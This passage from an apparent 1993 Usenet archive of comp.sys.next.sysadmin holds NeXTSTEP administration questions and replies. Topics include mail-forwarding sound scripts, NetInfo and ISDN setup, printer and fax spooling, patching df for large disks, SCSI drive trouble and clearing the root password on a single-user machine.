nothing in their database about such a problem and won't look into it
further for free.
Judy Halchin
Allegheny College
From: whalenm@tsg.com (Matthew Whalen)
Newsgroups: comp.sys.next.sysadmin
Subject: Mail.app strangeness
Date: 14 May 1993 13:28:40 GMT
Organization: Telos Systems Group, Chantilly, VA
Distribution: usa
Message-ID: <1t06q8$5qg@obelix.tsg.com>
Recently, my Mail.app stopped playing my new mail sound. The file is
still readable by the world. It also plays the system beep if I tell it
to check for new mail, but there is none new. Anyone seen this before or
know what I might be able to do about it? thanks
-matthew
whalenm@tsg.com
(NeXTMail OK)
--
When a dog bites a man that is not news, but when a man bites
a dog that is news. - JOHN B. BOGART 1845P1921
Newsgroups: comp.sys.next.sysadmin
From: hwang@nextvm5.corp.mot.com (Hao Wang)
Subject: set user cron job
Organization: MOTOROLA
Date: Fri, 14 May 1993 21:18:00 GMT
Message-ID: <1993May14.211800.11377@schbbs.mot.com>
Sender: news@schbbs.mot.com (Net News)
Hi there,
I am try to set up a cron job for user. I have no document. It seems
different compare with other unix box. Can some out there help me.
Thanks.
From: statman@stat.ufl.edu (charles d. kincaid)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Mail.app strangeness
Date: 14 May 1993 15:42:56 GMT
Organization: University of Florida
Distribution: usa
Message-ID: <1t0em0INNc0k@no-names.nerdc.ufl.edu>
References: <1t06q8$5qg@obelix.tsg.com>
In article <1t06q8$5qg@obelix.tsg.com> whalenm@tsg.com (Matthew Whalen)
writes:
> Recently, my Mail.app stopped playing my new mail sound. The file is
> still readable by the world. It also plays the system beep if I tell it
> to check for new mail, but there is none new. Anyone seen this before or
> know what I might be able to do about it? thanks
>
On a related note, I have my mail forwarding set up to play a sound when I
get new mail. It looks like
-------------------------------------------------------------------------
bash$ more .forward
statman@apeiron.ufstat.ufl.edu, |/users/statman/Apps/newmail
bash$ ls -lg .forward
-rw-r--r-- 1 statman wheel 61 Feb 24 23:47 .forward
bash$ ls -lg Apps/newmail
-rwxr-xr-x 1 statman wheel 144 Jan 11 15:36 Apps/newmail*
bash$ more Apps/newmail
#!/bin/sh
DIR=/users/statman/Library/Sounds
if test -f /usr/bin/sndplay -a -r /dev/console
then
/usr/bin/sndplay $DIR/"spanish.snd"
fi
exit 0
-----------------------------------------------------------------
However, this only works when mail gets sent to me from an account directly
on the NeXT. Since I am the only one that uses it this means when I cc:
something to myself. In this case it works fine. When I get mail from the
outside it doesn't work at all.
Has anyone seen this? Any advice is greatly underappreciated. :-)
Sincerely,
charles d. kincaid
--------------------------------------------------------------------
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Univ. of Florida Pres: G-ville NeXT Users Group
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Newsgroups: comp.sys.next.sysadmin
From: rngu@mipos2.intel.com (Robert Ngu)
Subject: needs help with Novell connection
Message-ID: <C6w0Gy.44J@inews.intel.com>
Sender: news@inews.intel.com (USENET News System)
Organization: Intel Corporation, Santa Clara, CA USA
Distribution: usa
Date: Wed, 12 May 1993 00:10:09 GMT
{\rtf0\ansi{\fonttbl\f0\fswiss Helvetica;}
\paperw9840
\paperh8400
\margl120
\margr120
\pard\tx533\tx1067\tx1601\tx2135\tx2668\tx3202\tx3736\tx4270\tx4803\tx5337\f0\b0\i0\ulnone\fs24\fc0\cf0 Hi all,\
\
I need a lot of help with NextStep (beta) for i486 platform. I have been having problems connecting to a Novell server and cannot figure out how to change the init process for Next Netware to use 802.3 frame type instead of Ethernet_II type. It binds to the correct Novell network id but using the wrong frame type. Can any of you help??? \
\
Also, is any one of you familiar with setting up Next fo use a remote printer. I have already successfully established NFS and TCPIP connection to a UNIX server but would like to use the network printer as well. \
\
Please bear with me as I am a novice Next user. \
\
Thanks,\
Bob Ngu\
}
Newsgroups: comp.sys.next.sysadmin
From: collis@lele-next2.Stanford.EDU (Samuel Scott Collis)
Subject: Re: Mail.app strangeness
Message-ID: <1993May14.180757.17816@leland.Stanford.EDU>
Sender: news@leland.Stanford.EDU (Mr News)
Organization: DSO, Stanford University
References: <1t0em0INNc0k@no-names.nerdc.ufl.edu>
Distribution: usa
Date: Fri, 14 May 93 18:07:57 GMT
In article <1t0em0INNc0k@no-names.nerdc.ufl.edu> statman@stat.ufl.edu
(charles d. kincaid) writes:
> In article <1t06q8$5qg@obelix.tsg.com> whalenm@tsg.com (Matthew Whalen)
> writes:
> > Recently, my Mail.app stopped playing my new mail sound. The file is
> > still readable by the world. It also plays the system beep if I tell
it
> > to check for new mail, but there is none new. Anyone seen this before
or
> > know what I might be able to do about it? thanks
> >
>
> On a related note, I have my mail forwarding set up to play a sound
when I
> get new mail. It looks like
>
-------------------------------------------------------------------------
> bash$ more .forward
> statman@apeiron.ufstat.ufl.edu, |/users/statman/Apps/newmail
>
> bash$ ls -lg .forward
> -rw-r--r-- 1 statman wheel 61 Feb 24 23:47 .forward
>
> bash$ ls -lg Apps/newmail
> -rwxr-xr-x 1 statman wheel 144 Jan 11 15:36 Apps/newmail*
>
> bash$ more Apps/newmail
> #!/bin/sh
>
> DIR=/users/statman/Library/Sounds
>
> if test -f /usr/bin/sndplay -a -r /dev/console
> then
> /usr/bin/sndplay $DIR/"spanish.snd"
> fi
> exit 0
> -----------------------------------------------------------------
>
> However, this only works when mail gets sent to me from an account
directly
> on the NeXT. Since I am the only one that uses it this means when I cc:
> something to myself. In this case it works fine. When I get mail from
the
> outside it doesn't work at all.
> Has anyone seen this? Any advice is greatly underappreciated.
:-)
>
Well, to get this to work I had to set the Public Sound Server flag in the
Unix Preferences window. Also, I don't think that it is necessary, but
the proper syntax for the .forward file is
bash$ more .forward
\statman, |/users/statman/Apps/newmail
This causes the mail to go to your standard mailbox, and then pipes it to
newmail.
Scott
Newsgroups: comp.sys.next.sysadmin
From: anderson@macc.wisc.edu (Jess Anderson)
Subject: Setting Up ISDN
Message-ID: <1993May15.123610.28100@macc.wisc.edu>
Sender: news@macc.wisc.edu (USENET News System)
Organization: Madison Academic Computing Center, UW-Madison
Date: Sat, 15 May 93 12:36:10 GMT
My ISDN line has been installed and I'm trying to follow the
documented recipe for getting it going, so far without
success. My NeXT at work lives in a mixed (non-Netinfo)
network. So does my NeXT at home. There a Hayes Extender at
each end and the interface (NT1U-200) lights say the line is
active; so far, so good.
On either end, when I try to configure according to the book
(chapter 11 of NS Network and System Admin), I'm told to
fire up PhoneManager.
The first step is to click PhoneManager's Network button.
When I do, I get a warning panel saying "can't open default
domain ../." Clicking OK kills PhoneManager. Not very much
progress in that, eh?
It's looking like PhoneManager *requires* a Netinfo network.
Can someone enlighten me or (even better) give me a remedy?
Thanks in advance.
--
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[Internet: anderson@macc.wisc.edu <-best, UUCP:{}!uwvax!macc.wisc.edu!anderson]
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From: trung@roger.gte.com (Trung Dung)
Newsgroups: comp.sys.next.sysadmin
Subject: any NeXT software for the MultiModem from MultiTech system?
Message-ID: <11427@ceylon.gte.com>
Date: 15 May 93 16:32:42 GMT
Sender: news@ceylon.gte.com
Organization: GTE Laboratories
I'd very much apppreciate any info.
Thanks!
Trung
From: disc@vector.intercon.com (David Casti)
Newsgroups: comp.sys.next.sysadmin
Subject: Installing FAX Modems
Date: 15 May 1993 18:52:18 GMT
Organization: InterCon Systems Corporation - Herndon, VA USA
Message-ID: <1t3e52$e2f@news.intercon.com>
Hi,
I'm having some trouble installing my Hayes Optima 144 as a fax modem.
Can someone who has had success with this email me so I can ask some
questions?
Thanks,
David.
=============================================================================
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Technical Support Engineer
InterCon Systems Corporation Phone: (703) 709-5554
950 Herndon Parkway, Suite 420 FAX: (703) 709-5555
Herndon, Virginia 22070
=============================================================================
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Newsgroups: comp.sys.next.sysadmin
From: beatty+@COSMOS.VLSI.CS.CMU.EDU (Derek Beatty)
Subject: adding a printer with PrintManager.app (3.0)
Message-ID: <C73Etu.CDs.1@cs.cmu.edu>
Originator: beatty@COSMOS.VLSI.CS.CMU.EDU
Sender: news@cs.cmu.edu (Usenet News System)
Organization: School of Computer Science, Carnegie Mellon
Date: Sun, 16 May 1993 00:03:29 GMT
I recently upgraded to 3.0 from 2.1. When I try to add a local printer
with PrintManager.app, I get an Alert panel saying "Netinfo problem
writing 'New_Printer' on local host." Anyone know why, and what I might
do about it? My system otherwise seems fine, and I can add printcap
entries with niload and edit them with NetInfoManager. Rebooting
doesn't help, and I'm running PrintManager as root.
--
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(412) 268-7898 fax: (412) 621-5473 home: (412) 521-3482 [<11pm please]
From: matthews@is-next.umd.edu (Mike Matthews)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: netinfo across routers ??
Date: 16 May 1993 00:52:12 GMT
Organization: University of Maryland, College Park
Distribution: usa
Message-ID: <1t437s$g1k@umd5.umd.edu>
References: <GISLI.93May8001919@liapunov.eecs.umich.edu> <1993May9.200815.13910@xexos.com> <1sk9nl$cro@ni.umd.edu>
Actually, all that's really needed to do to get NetInfo to talk across
routers is to have the IPBROADCAST value in /etc/hostconfig to be the subnet
that the NetInfo master is on. We've got a three-subnet, three-level NetInfo
domain at work and it works fine (granted, it's a somewhat artificial setup
as there is *barely* a double-digit number on this particular network, but so
what). NetInfo will still do a broadcast, but only to that subnet (this
assumes the NeXT knows about the router; I'm not sure if the router needs to
forward those broadcasts, but since it's a directed broadcast and I'm pretty
sure we didn't put those in at first anyway, I don't think so).
I've noticed that if NetInfo can't talk to the master, regardless if whether
or not it can talk to a clone, it won't bind up. This doesn't happen all the
time, though, so I'm not too sure what exactly causes it (the situation in
question was a NetInfo client that didn't have its router set up, but it had
clones of all the NetInfo domains it needed to on the same subnet, but still
failed to bind up... that same NetInfo client worked fine after it
successfully bound up and the master was taken down, too).
Regarding the clones, they are nice to have on each subnet assuming your
subnets are big enough.
And if you need NetInfo to do user authentication (e.g. no AFS), NetInfo on a
server is very close to a requirement unless you *like* flatfile hacks from
hell.
[BTW, NetInfo runs on a whole lotta machines nowadays.]
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From: gerben@rna.indiv.nluug.nl
Subject: /usr/etc/getty behaves strange
Message-ID: <1993May16.195456.19174@rna.indiv.nluug.nl>
Sender: gerben@rna.indiv.nluug.nl (Gerben Wierda)
Organization: G.R.O.S.S.
Date: Sun, 16 May 1993 19:54:56 GMT
When I make my init run a getty on my VT100 on ttyb it all works. I see a line
in my process status called:
- std.4800 ttyb
But when I remove the entry from /etc/ttys and I run by hand:
/usr/etc/getty std.4800 ttyb
The getty does something on the line, but it does not work. It lloks like a
baud or other problem. Pressing returns on the terminal give 'u' and '}'
characters. If I then set the terminal to 9600 the return is echoed in the form
of CRLF but no login is spawned.
What is going on? How can I run a getty by hand on that port.
All as root of course.
--
Gerben Wierda [NeRD:7539] Tel. (+31) 35 833539
"If you don't know where you are going, any road will
take you there." From the Talmud(?), rephrased in
Lewis Carroll, "Alice in Wonderland".
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From: Karl_Kraft@ensuing.com
Subject: Can't Spool Faxes
Message-ID: <C73Art.98q@ensuing.com>
Sender: karl@ensuing.com (Karl Kraft)
Organization: Ensuing Technologies Inc.
Date: Sat, 15 May 1993 22:35:51 GMT
A member of the local user group recently bought a used NeXT
station. The machine works fine excpet for one problem, he
can't fax anything out. The Fax modem itself is not the
problem, as it recieves faxes without trouble, and can dial
using tip. The cable is a known good cable. The problem
appears to be in the spooling software.
Printing works without incident. When faxes are generated,
the are dropped in /usr/spool/appkit/spooled.x, but never move
into /usr/spool/NeXT/FaxModem/
We have tried
Loosening up permissions on all the various folders.
Trying different users (root, testuser, me )
Deleting the FaxModem and re-creating it.
None of which has helped.
There are no hints in the console, or in /usr/adm/messages,
or in psout. The faxes just sit in /usr/spool/appkit/spooled.x,
and never appear in the Queue panel of PrinterManager.
If anyone has any ideas, then please drop me a line.
Karl Kraft
as, President Southern Nevada NeXT Users's Group.
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_________
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Karl Kraft@ensuing.com (NeXT mail)
From: eoliver@ralph.cs.haverford.edu (Erik Oliver)
Newsgroups: comp.sys.next.sysadmin
Subject: /etc/magic or equivalent under NS 3.0
Date: 16 May 1993 23:11:10 GMT
Organization: Haverford College Computer Science Department
Distribution: world
Message-ID: <1t6hme$av6@venus.haverford.edu>
On most versions of UNIX I have used before, there is a file named
/etc/magic which file (1) relies on to describe files.
My question is simple:
What if any is the name of the equivalent file under NS 3.0?
(I can't find /etc/magic and the manuals/docs aren't at all suggestive.)
Thanks and sorry if this is a FTM question or FAQ.
-Erik
Erik_Oliver@ralph.cs.haverford.edu
From: george@unixg.ubc.ca (George Chow)
Newsgroups: comp.sys.next.sysadmin
Subject: NS3 Upgrade tale...
Followup-To: comp.sys.next.sysadmin
Date: 17 May 1993 01:39:18 GMT
Organization: University of British Columbia, Vancouver, B.C., Canada
Distribution: world
Message-ID: <1t6qc6INNrp8@skeena.ucs.ubc.ca>
Howdy,
I just got a copy of NS3 and a CD-ROM drive last week in expectation of
NS3.1. Anyways, I've got a "classic" NeXTstation with the 105Mb HD and I
wanted to upgrade that to 3.0. The CD-ROM drive was just plug-n-play.
Ditto for UpgradePrep.app. I had problems with Upgrade_3.0.app. I chose
to edit the upgrade plan to remove a few things that I don't want. One
of them was /odmach. In the end, Upgrade_3.0.app reported:
Couldn't make hard link /sdmach (to existing file /odmach).
Anyways, that wasn't too hard to fix. Next, I tried optimizing my setup
by creating links from my hard drive back to the CD-ROM. I tried linking
up NextApps, NextAdmin, NextDeveloper, and NextLibrary. That was a bad
idea as the boot process froze midway. I reinstated NextLibrary and the
machine booted up fine. I next tested the printer (I've the NeXT 400dpi
printer). I was able to user nppower to turn it on and off but I was
unable to print, neither through lpr nor through WriteNow. The WriteNow
print panel reports:
Printer description file not available
Things I have done/check:
1. PrintManager doesn't list the NeXT 400dpi printer. Only the Create...
button is enabled.
2. /NextLibrary/PrinterTypes/English.lproj contains ppds for all of
NeXT's printers.
3. /usr/lib/NextPrinter contains just:
drwxr-xr-x 9 root 1024 Jul 10 1992 Drivers/
drwxr-xr-x 2 root 1024 Jul 24 1992 English.lproj/
-r-sr-sr-x 1 root 49152 Jul 23 1992 Faxxess*
-rwxr-xr-x 1 root 57344 Jul 23 1992 Inform*
drwxr-xr-x 2 root 1024 Jul 29 1992 Server/
-r-xr-xr-x 1 root 24576 Jul 23 1992 TrimProgram*
-rwxr-xr-x 1 root 128 Nov 6 1991 lpd.children*
-rwxr-xr-x 1 root 90112 Jul 29 1992 npd*
drwxr-xr-x 2 root 1024 Jul 23 1992 pdf/
-r-xr-xr-x 1 root 24576 Jul 23 1992 printTiff*
4. I've gone through all of the online documentation on the 3.0 CD-ROm
and they don't say anything substantial about the NeXT 400dpi printer.
The only material provided is on setting up non-NeXT printers.
Questions:
1. What am I missing/mucked up?
2. How did I do this?
I don't recall seeing this problem so if someone knows something,
please enlighten me. Thanks.
George
Newsgroups: comp.sys.next.sysadmin
From: thf@zelator.in-berlin.de (Thomas Funke)
Subject: Re: ?: NS and disk drives > 2.0GB
Message-ID: <1993May14.112209.1428@gamelan>
Sender: thomas@gamelan (thomas)
Organization: NNU Corp. - NeXT is Not UN*X
References: <1srnsc$e02@gaia.ucs.orst.edu>
Date: Fri, 14 May 1993 11:22:09 GMT
In article <1srnsc$e02@gaia.ucs.orst.edu> tpugh@oce.orst.edu (Tim Pugh) writes:
>
> Does NEXTSTEP support disk drives greater than 2 GB ( > 2^31 )?
> I mounted a 3.0GB drive and this is what df says:
>
> Filesystem kbytes used avail capacity Mounted on
> umbaluru:/usr4 -1309307-1374901 36744 99% /Net/umbaluru/usr4
>
> This is what it should say (from the host machine under HPUX)
> Filesystem kbytes used avail capacity Mounted on
> /dev/dsk/1s0 2884997 2819403 36744 99% /usr4
>
> The avail space is correct but kbtyes and used are not reported correctly
> on the NeXT.
>
> Is this just a problem with the df command? Or is there a problem with
> how much the NeXT can address?
>
You can hack the binary of /bin/df: Change %d to %u and it will probaly show
the correct results.
(Do it with emacs, for example and be careful !)
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C is a language that combines all the elegance and power of
assembly language with all the readability and maintainability
of assembly language
Newsgroups: comp.sys.next.sysadmin
From: thf@zelator.in-berlin.de (Thomas Funke)
Subject: Re: Compiling/Installing current C-News on the Next
Message-ID: <1993May14.112745.1501@gamelan>
Sender: thomas@gamelan (thomas)
Organization: NNU Corp. - NeXT is Not UN*X
References: <1993May13.095704.9620@digifix.com>
Date: Fri, 14 May 1993 11:27:45 GMT
In article <1993May13.095704.9620@digifix.com> sanguish@digifix.com (Scott
Anguish) writes:
> Hi All..
>
> Is there any gotchas trying to compile and install the current C-news
> for use on the Next? I want to replace my old, slow version (the inews
script
> is just that, a script).
>
> I would imagine the header locations could be a problem, but anything
> else?
>
> I can't afford for my newsfeed to be down for more than 30 minutes or
> so, so I am a little concerned about jumping into things before asking...
Better slow news than no news .... :-)
After all the C-NEWS hazzles I had before, I'm glad that it's working now and
think I'm not going to touch it anymore. But perhabs someone with time and
energy could try it out and load patches/comments to sonata ?
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C is a language that combines all the elegance and power of
assembly language with all the readability and maintainability
of assembly language
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From: thf@zelator.in-berlin.de (Thomas Funke)
Subject: Re: How To Automatically Forward Mail
Message-ID: <1993May14.113356.1624@gamelan>
Sender: thomas@gamelan (thomas)
Organization: NNU Corp. - NeXT is Not UN*X
References: <1srl3b$8tc@vtserf.cc.vt.edu>
Date: Fri, 14 May 1993 11:33:56 GMT
In article <1srl3b$8tc@vtserf.cc.vt.edu> teske@opac1.cc.vt.edu (Steve Teske)
writes:
>
> My desire is to forward all my mail to one workstation in the network of
> NeXT's that I work with. There is no mail server set up for the network.
> I could use some hints on how to automatically forward mail to one
> workstation.
Put a file '.forward' in your home-dir and fill it with the user/machines you
wish to forward the mails:
e.g.:
steve_jobs@next.com
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C is a language that combines all the elegance and power of
assembly language with all the readability and maintainability
of assembly language
From: jtduran@athena.mit.edu (Jason Tomas Duran)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: NS3 Upgrade tale...
Date: 17 May 1993 03:12:39 GMT
Organization: MIT Sloan School of Management
Distribution: world
Message-ID: <1t6vr7INNbeh@senator-bedfellow.MIT.EDU>
References: <1t6qc6INNrp8@skeena.ucs.ubc.ca>
In article <1t6qc6INNrp8@skeena.ucs.ubc.ca> george@unixg.ubc.ca (George Chow) writes:
>Howdy,
> I just got a copy of NS3 and a CD-ROM drive last week in expectation of
> NS3.1. Anyways, I've got a "classic" NeXTstation with the 105Mb HD and I
When I tried to update my "classic" w/105M HD with a custom plan alot like
yours, the upgrade app froze up in the middle because it took up so much
swap space, that there now wasn't enough room to do the install it had planned
. I ended up doing a vanilla install then everything else by hand when I
was done...
--jt
Newsgroups: comp.sys.next.sysadmin
From: sanguish@digifix.com (Scott Anguish)
Subject: Deleting Roots password
Message-ID: <1993May17.025005.3598@digifix.com>
Sender: sanguish@digifix.com (Scott Anguish)
Organization: Digital Fix Development
Date: Mon, 17 May 1993 02:50:05 GMT
How do I go about deleted the password I have assigned for Root...
I've tried everthing I can think of, (UserManager, NetInfo, pswd) but can't get
rid of it... The machine in question is secure, one user, so thats not a
problem. I just want no password for Root.
--
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next-announce@digifix.com (comp.sys.next.announce submissions)
Newsgroups: comp.sys.next.sysadmin
From: zenon@resonex.com (Zenon Fortuna)
Subject: Re: Deleting Roots password
Message-ID: <1993May16.214423.27030@resonex.com>
Organization: Resonex Inc., Fremont CA
References: <1993May17.025005.3598@digifix.com>
Date: Sun, 16 May 1993 21:44:23 GMT
In article <1993May17.025005.3598@digifix.com> sanguish@digifix.com writes:
>How do I go about deleted the password I have assigned for Root...
>
>I've tried everthing I can think of, (UserManager, NetInfo, pswd) but can't get
>rid of it... The machine in question is secure, one user, so thats not a
>problem. I just want no password for Root.
>--
>- Scott Anguish -
>sanguish@digifix.com (NextMail)
>next-announce@digifix.com (comp.sys.next.announce submissions)
>
1. login (or su) as root
2. nidump passwd / > /tmp/x
3. edit the /tmp/x file and delete the root's passwd
(the 13 characters after the first colon)
4. niload passwd / < /tmp/x
5. reboot (needed !)
-Z.
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From: sanguish@digifix.com (Scott Anguish)
Subject: Re: Deleting Roots password
Message-ID: <1993May17.072501.1287@digifix.com>
Sender: sanguish@digifix.com (Scott Anguish)
Organization: Digital Fix Development
References: <1993May16.214423.27030@resonex.com>
Date: Mon, 17 May 1993 07:25:01 GMT
Zenon Fortuna writes
> In article <1993May17.025005.3598@digifix.com> sanguish@digifix.com writes:
> >How do I go about deleted the password I have assigned for Root...
>
> 1. login (or su) as root
> 2. nidump passwd / > /tmp/x
> 3. edit the /tmp/x file and delete the root's passwd
> (the 13 characters after the first colon)
> 4. niload passwd / < /tmp/x
> 5. reboot (needed !)
>
> -Z.
>
The first response I got was to start up NetInfoManager, and
open users
open root
select the password property
Edit->Delete..
This seems to work fine now...
Thanks to all that replied.
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From: olson@dalek.mcs.anl.gov (Bob Olson)
Subject: Re: Setting Up ISDN
Message-ID: <7376443651130@dalek.mcs.anl.gov>
Sender: usenet@mcs.anl.gov
Organization: Argonne National Laboratory
References: <1993May15.123610.28100@macc.wisc.edu>
Date: Mon, 17 May 1993 13:12:45 GMT
In article <1993May15.123610.28100@macc.wisc.edu> anderson@macc.wisc.edu (Jess Anderson) writes:
>
>My ISDN line has been installed and I'm trying to follow the
>documented recipe for getting it going, so far without
>success.
I hope you have an ISDN line provisioned for custom mode (AT&T or Northern
Telecom). Here we have National ISDN-1 provisioned lines, with which
the ISDN Extender will not work.
>It's looking like PhoneManager *requires* a Netinfo network.
>Can someone enlighten me or (even better) give me a remedy?
Yeah, I had to graft on a toplevel domain to get it to work. You should
be able to do that by modifying the instructions in the Network and
SysAdmin chapter on creating a three-level domain.
--bob
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From: anderson@macc.wisc.edu (Jess Anderson)
Subject: Re: Setting Up ISDN
Message-ID: <1993May17.141608.15436@macc.wisc.edu>
Sender: news@macc.wisc.edu (USENET News System)
Organization: Madison Academic Computing Center, UW-Madison
References: <1993May15.123610.28100@macc.wisc.edu> <7376443651130@dalek.mcs.anl.gov>
Date: Mon, 17 May 93 14:16:08 GMT
In article <7376443651130@dalek.mcs.anl.gov>
olson@dalek.mcs.anl.gov (Bob Olson) writes:
>In article <1993May15.123610.28100@macc.wisc.edu>
>anderson@macc.wisc.edu (Jess Anderson) writes:
>>My ISDN line has been installed and I'm trying to follow the
>>documented recipe for getting it going, so far without
>>success.
>I hope you have an ISDN line provisioned for custom mode (AT&T or Northern
>Telecom). Here we have National ISDN-1 provisioned lines, with which
>the ISDN Extender will not work.
My one piece of luck, so far: it's AT&T.
>>It's looking like PhoneManager *requires* a Netinfo network.
>>Can someone enlighten me or (even better) give me a remedy?
>Yeah, I had to graft on a toplevel domain to get it to work. You should
>be able to do that by modifying the instructions in the Network and
>SysAdmin chapter on creating a three-level domain.
Hm, things could get tense! I wonderful if it's possible to
have a netinfo network with only one machine in it.
<> The painter knows things by sight; the writer, who knows
<> them by name, profits by a prejudice in his favor.
<> -- Georges Braque
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From: fradin@rennes.enst-bretagne.fr (marc fradin)
Newsgroups: comp.sys.next.sysadmin
Subject: Macintosh Emulation
Message-ID: <412@enstb.enst-bretagne.fr>
Date: 17 May 93 15:25:44 GMT
Sender: news@enstb.enst-bretagne.fr
Organization: ENST bretagne, Rennes, FR
Hi,
I want to use Word 5 and Excel 4 on my NextStation. Does anybody know
some software (free or not) to do that ?
I'd very much apppreciate any info.
Thanks,
--
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ENST BRETAGNE Phone : (33) 99 12 70 24
B.P. 78 Fax : (33) 99 12 70 30
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From: curt@oasys.dt.navy.mil (Curt Welch)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Setting Up ISDN
Message-ID: <35933@oasys.dt.navy.mil>
Date: 17 May 93 16:54:55 GMT
References: <1993May15.123610.28100@macc.wisc.edu> <1993May17.141608.15436@macc.wisc.edu>
Organization: KCW Consulting
In comp.sys.next.sysadmin, anderson@macc.wisc.edu (Jess Anderson) writes:
>[About setting up ISDN..]
Speaking of ISDN -- can anyone tell me if 3.1 is going to include
the ISDN stuff? I've read about NeXT dropping PhoneKit. Does this mean
that the ISDN remote-login stuff is also going to be dropped in 3.1?
Also, is anyone actually using the ISDN software to remotely access a
NeXT? Can you answer a few questions about it? I'm looking for a faster
alternative to dial-up slip. I have a customer that needs to access his
NeXT at work from home. As I understand it, the ISDN software lets you
login to the system at work from you home system -- your home screen
lets you do anything you can do sitting at work. Is this true? Is
there some way to access the files on your home system with this setup?
Is there some way to transfer files between home and work with this
setup? And how fast is it? Is it fast enough to be useable. (unlike
-NXHost over 14.4K slip).
Thanks in advance...
Curt
From: Tim Pugh <tpugh@oce.orst.edu>
Newsgroups: comp.sys.next.sysadmin
Subject: Re: ?: NS and disk drives > 2.0GB (Update)
Date: 17 May 1993 19:51:22 GMT
Organization: University Computing Services - Oregon State University
Message-ID: <1t8qbq$2fk@gaia.ucs.orst.edu>
References: <1993May14.112209.1428@gamelan>
In article <1993May14.112209.1428@gamelan> thf@zelator.in-berlin.de (Thomas Funke)
writes:
>
> You can hack the binary of /bin/df: Change %d to %u and it will probaly show
> the correct results.
>
> (Do it with emacs, for example and be careful !)
>
> --
> ------------------------------------------------------------------
> Thomas Funke ** Unix-Consultant ** thf@zelator.in-berlin.de
>
This is true but not complete. Here is what needs to be done for df to output correctly.
Thanks to Marcel.Waldvogel@nice.usergroup.ethz.ch .
Here are the changes to make:
- Copy /bin/df /bin/df.new
- Open /bin/df.new with emacs or HexEditor or something alike.
- Change the printf strings from signed integers to unsigned integers.
Old:
%8d%8d%8d
%6.0f%%
%8ld%8ld%6.0f%%
New:
%8u%8u%8u
%6.0f%%
%8lu%8lu%6.0f%%
- Change the (hexadecimal sequence) "E8 A0" (asr.l d4,d0) to "E8 A8" (lsr.l d4,d0) at the
following locations :
0x0B3A, 0x0B50, 0x0B66
Having made these changes, my new df outputs this:
Here is the NeXT output:
Filesystem kbytes used avail capacity Mounted on
umbaluru:/usr4 2884997 2563210 292937 90% /Net/umbaluru/usr4
Here is the HPUX output:
Filesystem kbytes used avail capacity Mounted on
/dev/dsk/1s0 2884997 2563210 292937 90% /usr4
df may be outputting the correct numbers, But I am not sure that
the NeXT and NFS will behave properly and not corrupt the file system.
It has been reported from scott@geom.umn.edu (Scott S. Bertilson) that
they have been using 3.5GB disks mounted over NFS to NeXT's without problem.
(see earlier Re: ?: NS and disk drives > 2.0GB post)
As Marcel says, "Bug NeXT that it should change all definitions in struct statfs (in
/usr/include/bsd/sys/vfs.h) from 'long' to 'unsigned long' and recompile 'df'".
and other broken commands.
Maybe it's time to use 64bit addresses for NS4.0!
- Tim -
--
Tim Pugh
College of Oceanic and Atmospheric Sciences
Oregon State University
tpugh@oce.orst.edu
NeXTmail ok!
From: szatezal@magnus.acs.ohio-state.edu (Shane M Zatezalo)
Newsgroups: comp.sun.admin,comp.unix.admin,comp.unix.questions,comp.sys.next.sysadmin,osu.micros,cmh.sys.next
Subject: Newly problematic drive needs discipline
Date: 17 May 1993 18:20:23 GMT
Organization: The Ohio State University
Distribution: world
Message-ID: <1t8l17$50v@charm.magnus.acs.ohio-state.edu>
I'm having trouble with a scsi disk. All problems point to
"the controller block is messed."
The drive is a Seagate ST-1480N 425 megger. The drive originally came
off of a Sun in August. I tried using it on a NeXT this week,
and here's what I got on bootup:
SCSI 53C90A Controller, Target 7, as sc0 at 0x2114000
QUANTUM LP105S 910109405 Rev as Sd0 at Sc0 target 1 lun 0 (internal drive)
Disk Label : Nextstep 3.0
Disk Capacity: 100 MB, Device Block 512 bytes
SEAGATE ST1480 SUN0424 Rev as sd1 at sc0 target 5 lun 0
ERROR: Can't read device capacity
DISK UNFORMATTED
Now, I **** KNOW **** the drive is setup correctly, because we have another
NeXT in the office, which came with a ST1480, so I set this drive up just
the same. Besides, from the above the computer is seeing the drive with
id 5, which it is set to have, and it is accessing the drive, and I've tried
tons of different termination setups. :)
Thru the above boot process, it takes a LONG time before I get that ERROR
message. Its like the computer is looking for how many megs the drive is so
that it can stop formatting it. (if it even started to format the disk) Is it?
I'd guessitmate at about half an hour or close to 45 mins. And after the NeXT
says "disk unformatted" it just kinda sits there for a while, and seems
to do nothing. I let this go on for about 5 minutes before stopping it.
So, my question to all of you knowledgable unix people... if I plug the
drive back into a Sun, will I atleast be able to format the thing and write
back the controller block information so that I can use this drive either
1) on a NeXT 2) on my Apple II (it has the same scsi as a Macintosh).
I'm fairly knowledgable about scsi stuff (since I've had to try and deal
with this) but all I know about the Sun is that it treats a scsi
disk in the same manner that an ibm treats an ide drive, you have to give
it all the drive information ahead of time. (I went and got the drive's
tech info from the seagate bbs)
Or, and I just going to end up sending the drive back to seagate to have
them, most likely, rebuild the controller block (a 2 minute ordeal with
the write program, I'd assume) and charge me an arm and a leg???
/Any/ help would be appreciated.
--
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: Shane M . Zatezalo - CIS OSU: i-net> szatezal@magnus.acs.ohio-state.edu :
: root@tap.colum.fnet.org : NeXTMail> shane@kiwi.swhs.ohio-state.edu :
:GS::: call T.A.P. a Futurenet BBS 614-297-7031 16.8k DS HST 425 MEGS ::GS:
From: jonas@paris.history.washington.edu (Raymond Jonas)
Newsgroups: comp.sys.next.sysadmin
Subject: file conversion
Date: 17 May 1993 20:59:51 GMT
Organization: University of Washington
Message-ID: <1t8uc7INN27v@news.u.washington.edu>
Keywords: Adobe Illustrator, AutoCAD, DXF
Reply-To: jonas@u.washington.edu
I need to bring some work over from AutoCAD (PC) to Adobe Illustrator on
the Next. Some time ago I received a product announcement of some Next
software that would convert DXF files (an AutoCAD format) to an
Illustrator-compatible file format. I didn't save the announcement. Does
anyone know this product?
--------------------------------------------------------------------------
Raymond A. Jonas
Department of History, DP-20
University of Washington
Seattle, WA 98195
206-543-5790
Newsgroups: comp.sys.next.sysadmin
From: wylie@nrcnet0.nrc.ca (Rob Wylie - M50 Rm 263 993-8561)
Subject: what's the panic? (od: empty q)
Message-ID: <1993May17.182518.21029@nrcnet0.nrc.ca>
Organization: National Research Council, Ottawa, Canada
Date: Mon, 17 May 93 18:25:18 GMT
Hi, (and help!)
1) My cube (040) failed to boot properly first thing this morning. I got
the panic window with the following message:
> panic: (Cpu 0) od: empty q
